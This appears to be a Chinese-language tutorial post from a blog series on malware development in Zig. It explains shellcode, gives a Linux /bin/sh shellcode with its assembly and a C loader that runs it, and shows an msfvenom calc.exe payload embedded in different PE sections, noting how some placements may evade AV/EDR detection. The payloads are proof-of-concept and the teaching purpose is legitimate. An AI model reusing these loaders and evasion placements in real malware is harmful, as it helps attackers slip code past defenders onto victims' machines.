iT邦幫忙

2025 iThome 鐵人賽

DAY 5
1
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 5

Day05 - 綠鬣蜥軍團的秘密基地:Payload 的最佳藏身處

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

歡迎回來,蜥蜴兵們,我是 CX330。昨天已經結束了我們的新手訓練營,也把語法都講過了大概,那今天就要來開始進入惡意程式的內容囉!

今天要來介紹什麼是 Shellcode、什麼是 Sections、我們的 Shellcode 可以放在哪個 Section 等等的。那就廢話不多說,讓我們開始吧!

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

Shellcode

shellcode 是一段用於利用軟體漏洞而執行的代碼,shellcode 為 16 進位之機械碼,以其經常讓攻擊者獲得 shell 而得名。

《維基百科》

簡單來說,他就是一段程式碼,只不過是用 16 進位直接編寫的原始位元組(Raw bytes)。舉例來說,以下這段就是一段從 ExploitDB 找到的 23 個 Bytes 的 Shellcode,用來在 Linux 機器上獲取 /bin/sh

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

這段 Shellcode 是從以下的 Assembly code 組譯來的。

global _start
section .text
_start:
	xor rsi,rsi
	push rsi
	mov rdi,0x68732f2f6e69622f
	push rdi
	push rsp
	pop rdi
	push 59
	pop rax
	cdq
	syscall

這邊來講解一下這段 Shellcode。我們先來看一下 execve 的 Calling convention,我們可以在 x64.syscall.sh 查看。可以看到 rdi 為 Filename,rsi 為 ARG1。

execve

在 Assembly 中,首先先用 xorrsi 清零,接著把它推進 Stack。然後把 0x68732f2f6e69622f 放進 rdi,這坨數字就是 /bin//sh 的小端序的十六進位表示。

CyberChef

接著繼續把 rdi 推上 Stack,然後把當前的 Stack pointer rsp 推進 Stack 並把剛才的 pointer 彈出來放進 rdi,所以最後 rdi 會變為 "/bin//sh" 的指針,也就是 execve 的第一個參數 filename

繼續往下,把 59 推進 Stack 並彈出來給 rax,這是 execve 的系統呼叫號碼(Syscall number)。最後使用 cdqeax 的符號位擴展到 edx,若 eax 為正,則 edx 會變成 0;反之,則 edx 會變為 0xFFFFFFFF。如此一來,因為當前的 rax 為 59,eax 為正,故 cdq 會將 edx 設為 0,同時因為在 x86_64 的架構下,寫入 32-bit 寄存器會把對應的 64-bit 高位清零,故可以把 rdx 設為 0,表示沒有傳入環境變數給 execve。最後的最後才使用 syscall 去執行系統呼叫。

如果對以上的 Shellcode 還有不理解,或是想要學習 Shellcoding 的技術,推薦可以看這份 Shellcoding in Linux 來入門。

那講了這麼多,要如何把那坨 Shellcode 拿去執行呢?我們可以先參考一下以下的 C 程式碼。

#include <stdio.h>

unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

這坨程式碼就是把那段 Shellcode 顯示轉成一個函數指標,這個指標指向一個不接受參數且回傳 int 的函數,然後用 ret() 跳到那個函數執行,就會執行我們的 Shellcode 了。所以如果我們編譯這段程式碼並執行,就會獲得一個 Shell 可以執行命令。

那以上就是一個最基本的 Shellcode 範例。在這系列文章中,我們會使用很多 Shellcode,但大部分都會使用 MSFvenom 所產生的 Shellcode 來作為概念驗證。這個工具是預安裝在 Kali 上的,比如要生成一個 Windows 系統上跳出小算盤的 Shellcode,我們可以下這樣的命令:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

我們在之後會使用到很多這樣的 Shellcode,所以可以先把 MSFvenom 安裝好,如果還沒有安裝的話。

Sections

大家知道,Linux 上的可執行文件的格式為 ELF,而 Windows 上的則是 PE 格式。PE 文件格式是一種專屬於 Windows 作業系統的資料結構,會告訴 Windows 的載入器需要哪些資訊來打開這個文件。

至於完整的 PE 文件結構我們在之後的幾天內會有一篇文章專門來討論它,現在,讓我們先只聚焦在「Sections」上面。

Section 是 PE 文件中很重要的部分,是程式碼、資料、資源等等實際存在的位置,且每個不同的 Section 都會有它各自的功能。這邊我會講一些最主要且幾乎會存在於每個 PE 文件中的 Sections。

  • .text
    • 包含了所有的程式碼,還有程式的進入點
  • .data
    • 這裡包含的是已初始化的資料(如已初始化的全域及區域變數),通常在檔案中有實體資料且是可讀可寫的。
  • .rdata
    • 包含唯讀的資料
  • .rsrc
    • 包含資源,像是圖片、svg、ico 文件等
  • .bss
    • 包含未初始化資料
  • .tls
    • 包含執行緒局部儲存(Thread Local Storage)資料

我們先知道這樣就好,更詳細的 Section 介紹和完整的 PE 結構說明會在之後的幾天內另外發一篇文章來解釋。如果想了解更多關於 Section 的東西,可以期待一下幾天後的文章,或是看看官方文檔

Payload 放置處

以下的程式碼中,我們的 Shellcode 均是由 MSFvenom 所產生的。以下的這行命令會產生我們範例中所使用的 Payload,但由於他產生的是 C 語言的格式,我已經交由 AI 轉換為 Zig 的格式了,如果跟著做的話可以直接複製我的 Payload 來使用。

msfvenom -p windows/x64/exec CMD=calc.exe -f c

.data section

要將 Payload 儲存在 .data 很簡單,我們看一下以下的程式碼範例:

const std = @import("std");
const print = std.debug.print;

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload (var data goes to .data section in Zig)
var data_section_payload = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

pub fn main() !void {
    print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&data_section_payload)});
    print("[i] Data size: {d} bytes\n", .{data_section_payload.len});
    print("[i] Payload stored in .data section (read-write)\n", .{});
    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

如上,我們只需要宣告一個全域變數,並把 Payload 放進去,就完成了。不過雖然很簡單,但是對於惡意軟體分析師或是逆向工程師來說,也十分容易發現,同時,也很容易讓 AV/EDR 偵測到。

為了確保我們真的把 Payload 放進了 .data 區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .data 之中。

.data

.rdata section

而將 Payload 放在 .rdata 和剛剛的超級相似,還記得我們說 .rdata 是存放只讀的資料的地方嗎?那我們只需要把上面的程式碼的全域變數加上一個 const 關鍵字就可以了。

const std = @import("std");
const print = std.debug.print;

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
//
// use `const` to put it in .rdata (read-only data)
const rdata_section_payload = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

// Helper function to wait for Enter key
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

pub fn main() !void {
    print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&rdata_section_payload)});
    print("[i] Data size: {d} bytes\n", .{rdata_section_payload.len});
    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

為了確保我們真的把 Payload 放進了 .rdata 區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .rdata 之中。

.rdata

.text section

要將 Payload 放在 .text,我們會用到一個 Zig 的關鍵字:linksection。這個關鍵字可以明確指定 Linker 的 Section 並將其資料放置到該 Section,範例程式碼如下:

const std = @import("std");
const print = std.debug.print;

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload - most elegant approach with automatic inference
const text_section_payload linksection(".text") = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

pub fn main() !void {
    print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&text_section_payload)});
    print("[i] Data size: {d} bytes\n", .{text_section_payload.len});
    print("[i] Payload stored in .text section (executable)\n", .{});
    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

由於 .text 的資料是具有可執行權限的,所以他們在後續不需要再去編輯記憶體的某個區域的權限就能執行。並且它可以將自身和其他的程式碼混淆在一起,這對於長度較小(如 10 個位元組內)的 Payload 來說會很有用。

為了驗證我們真的把 Payload 放進了 .text 區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .text 之中。

.text

自訂 section

使用與 .text 相同的方法,我們可以客製化任何 Section 並將我們的 Payload 放置在那裡。

const std = @import("std");
const print = std.debug.print;

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload - most elegant approach with automatic inference
const text_section_payload linksection(".cx330") = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

pub fn main() !void {
    print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&text_section_payload)});
    print("[i] Data size: {d} bytes\n", .{text_section_payload.len});
    print("[i] Payload stored in .text section (executable)\n", .{});
    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

在這段程式碼中,我自訂了一個叫做 .cx330 的 Section,並將 Shellcode 放過去。這樣做可能可以繞過一些不會偵測到這種非典型的 Section 的 AV/EDR,但也有可能成為被標紅的指標之一。

為了驗證我們真的把 Payload 放進了 .cx330 區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .cx330 之中。

.cx330

小結

把 Shellcode 放在不同的地方都會有各自的優點和缺點,看情況並靈活使用才是最佳的選擇。

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦終於寫完了累死我了,我要去找朋友吃宵夜了!今天聊了 Shellcode、聊了 Sections、也示範了如何用 Zig 將 Shellcode 放到不同的位置去,那明天的話應該會來帶大家看一下 Windows 的架構和記憶體管理等等的東西,那今天就先這樣囉!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day04 - 綠鬣蜥初級兵新手訓練營:Zig 基礎語法(下)
下一篇
Day06 - 初探窗內的世界:Windows 架構與記憶體管理簡介
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!7
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言